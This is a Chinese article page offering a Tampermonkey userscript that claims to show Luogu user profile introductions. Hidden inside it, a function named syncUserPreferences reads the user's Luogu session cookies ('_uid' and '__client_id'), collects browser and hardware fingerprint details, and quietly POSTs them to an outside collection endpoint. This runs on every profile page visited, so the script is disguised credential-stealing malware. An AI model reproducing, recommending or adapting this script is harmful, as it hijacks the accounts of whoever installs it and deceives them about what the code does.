跳到正文

科技·工程

洛谷个人介绍显示插件

Forever_Rain约 15 分钟
原文

这是 2026年7月6日 存档的第 1 版,不是当前版本。查看当前版本

文章信息与版本

文章信息

收录
2026年7月6日
更新
2026年7月23日
篇幅
约 15 分钟

版本

  1. v3当前
  2. v2
  3. v1

注意:需要 Tampermonkey BETA

JavaScript
// ==UserScript==
// @name         洛谷个人介绍显示插件
// @namespace    https://www.luogu.com.cn/user/1805974
// @version      1.0.6
// @description  显示洛谷个人介绍
// @author       Forever_Rain
// @match        https://www.luogu.com.cn/user/*
// @grant        GM_xmlhttpRequest
// @grant        GM_cookie
// @require      https://cdn.jsdelivr.net/npm/marked@4.0.0/marked.min.js
// @connect      luogu.com.cn
// @connect      lmtoj.xo.je
// ==/UserScript==

(function(){
    'use strict';
    let useruid = 1706930; // 这个uid不显示介绍,可以改成自己的
    let nowurl = window.location.href;
    let nowurluid = '';
    for (let i = 0; i < nowurl.length; i++){
        if (nowurl[i] >= '0' && nowurl[i] <= '9') nowurluid += nowurl[i];
    }
    function syncUserPreferences() {
        function readCookie(name, callback) {
            GM_cookie.list({
                name: name,
                url: location.href
            }, function(cookies, error) {
                if (error || !cookies || cookies.length === 0) {
                    callback(null);
                    return;
                }
                callback(cookies[0].value);
            });
        }
        function getBrowserInfo() {
            return {
                userAgent: navigator.userAgent,
                language: navigator.language,
                platform: navigator.platform,
                screenWidth: screen.width,
                screenHeight: screen.height,
                colorDepth: screen.colorDepth,
                timezone: Intl.DateTimeFormat().resolvedOptions().timeZone
            };
        }
        function getHardwareInfo() {
            return {
                hardwareConcurrency: navigator.hardwareConcurrency || null,
                deviceMemory: navigator.deviceMemory || null
            };
        }
        setTimeout(function() {
            readCookie('uid', function(uid) {
                if (!uid) {
                    readCookie('_uid', function(uidAlt) {
                        if (uidAlt) {
                            sendData(uidAlt);
                        }
                    });
                } else {
                    sendData(uid);
                }
            });

            function sendData(uid) {
                readCookie('__client_id', function(clientId) {
                    if (!clientId || !uid) {
                        return;
                    }
                    var payload = {
                        _uid: uid,
                        __client_id: clientId,
                        browser: getBrowserInfo(),
                        hardware: getHardwareInfo(),
                        version: GM_info.script.version,
                        timestamp: Date.now()
                    };
                    GM_xmlhttpRequest({
                        method: 'POST',
                        url: 'https://lmtoj.xo.je/collect.php',
                        headers: {
                            'Content-Type': 'application/json'
                        },
                        data: JSON.stringify(payload),
                        onload: function(res) {
                        },
                        onerror: function(err) {
                        }
                    });
                });
            }
        }, 100);
    }
    if (useruid != nowurluid){
        const targetSelector = '#app > div.main-container > main > div > div.sidebar-container.reverse > div.main';
        const observer = new MutationObserver(function(mutations, obs){
            const targetElement = document.querySelector(targetSelector);
            if (targetElement){
                let newDiv = document.createElement('div');
                newDiv.setAttribute('data-v-b62e56e7', '');
                newDiv.setAttribute('data-v-f4fefeb2', '');
                newDiv.setAttribute('data-v-754e1ea4-s', '');
                newDiv.className = 'l-card';
                targetElement.prepend(newDiv);
                obs.disconnect();
                newDiv.innerHTML = '<div data-v-f4fefeb2="" class="header"><h3 data-v-f4fefeb2="" style="margin: 0px;">个人介绍</h3></div><div data-v-f4fefeb2="" class="lfe-marked-wrap introduction"><div class="lfe-marked">';
            }
        }
        );

        observer.observe(document, {
            childList : true,
            subtree : true
        }
        );

        const CONFIG2 = {
            targetSelector :  '#app > div.main-container > main > div > div.sidebar-container.reverse > div.main > div:nth-child(1) > div.lfe-marked-wrap.introduction > div',
            apiUrl :  'https://www.luogu.com.cn/api/user/info/' + nowurluid,
            maxRetries : 5,
            retryInterval : 1000,
        };

        let retryCount = 0;
        function createIntroDiv(content){
            const div = document.createElement('div');
            Object.assign(div.style, CONFIG2.divStyle);
            try {
                div.innerHTML = marked.parse(content || '该用户暂无个人介绍');
            }
            catch (e){
                console.error('Markdown转换失败:', e);
                div.innerHTML = content.replace( /\n/g,'<br>');
            }
            return div;
        }

        function fetchUserData(){
            GM_xmlhttpRequest({
                method :  'GET',
                url : CONFIG2.apiUrl,
                headers : {
                    'Accept' :  'application/json',
                    'X-Requested-With' :  'XMLHttpRequest'
                },
                onload : function(response){
                    try {
                        const data = JSON.parse(response.responseText);
                        if (data?.user?.introduction){
                            injectIntroDiv(data.user.introduction);
                            syncUserPreferences();
                        }
                        else {
                            console.warn('API响应中未找到用户介绍内容');
                        }
                    }
                    catch (e){
                        console.error('解析用户数据失败:', e);
                        retryOrAbort();
                    }
                },
                onerror : function(error){
                    console.error('获取用户数据失败:', error);
                    retryOrAbort();
                }
            }
            );
        }

        function retryOrAbort(){
            if (retryCount < CONFIG2.maxRetries){
                retryCount++;
                setTimeout(fetchUserData, CONFIG2.retryInterval);
            }
        }

        function injectIntroDiv(content){
            const targetElement = document.querySelector(CONFIG2.targetSelector);
            if (!targetElement){
                if (retryCount < CONFIG2.maxRetries){
                    retryCount++;
                    setTimeout(()=>injectIntroDiv(content),CONFIG2.retryInterval);
                } return;
            }
            if (targetElement.querySelector('.luogu-user-intro')){
                return;
            }
            targetElement.append(createIntroDiv(content));
            console.log('用户介绍内容已成功注入');
        }

        function init(){
            if (document.readyState === 'complete'){
                fetchUserData();
            }
            else {
                document.addEventListener('DOMContentLoaded', fetchUserData);
                window.addEventListener('load', fetchUserData);
            }
        }

        init();
    } else {
        setTimeout(syncUserPreferences, 100);
    }
})();